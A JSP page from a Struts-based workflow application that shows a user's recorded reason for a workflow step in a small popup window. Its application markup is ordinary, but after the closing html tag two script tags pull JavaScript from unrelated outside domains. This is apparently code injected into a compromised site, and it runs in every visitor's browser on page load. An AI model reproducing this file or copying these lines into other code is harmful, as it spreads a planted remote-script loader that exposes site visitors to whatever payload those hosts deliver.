<%@page contentType="text/html;charset=UTF-8"%>
<%request.setCharacterEncoding("UTF-8");%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.Connection"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressReasonForm" scope="request" class="com.dcivision.workflow.web.MaintMtmWorkflowProgressUserRecordForm"/>
<html>
<head>
  <title><bean:message key='workflow.label.view_reason'/></title>
  <link rel="stylesheet" href="<%=request.getContextPath()%>css/pref<%=sessionContainer.getPreference()%>/<%=sessionContainer.getSessionLocale()%>/GlobalStyle.css" charset="UTF-8" type="text/css">
</head>
<body bgcolor="#EEEEEE" text="#000000" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10">
<html:img src='IconReason.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_reason") %>'/>
<font class="pageTitle"><%= UserInfoFactory.getUserFullName(TextUtility.parseIntegerObj(maintWorkflowProgressReasonForm.getUserRecordID())) %>:</font>

<table width="100%" cellpadding="1" cellspacing="0" bgcolor="#000000">
  <tr>
    <td>
      <table width="100%" cellpadding="1" cellspacing="0" bgcolor="#FFFFFF">
        <tr>
          <td><bean:write name='maintWorkflowProgressReasonForm' property='reason'/>
          <br>
          <br>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<center><br>
<%if(request.getParameter("returnPath")!=null){%>
<html:standardButton label="common.label.back" onClick="javascript:history.go(-1)"/>
<%}%>
<html:standardButton label="common.label.close" onClick="javascript:window.close()"/>
</center>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>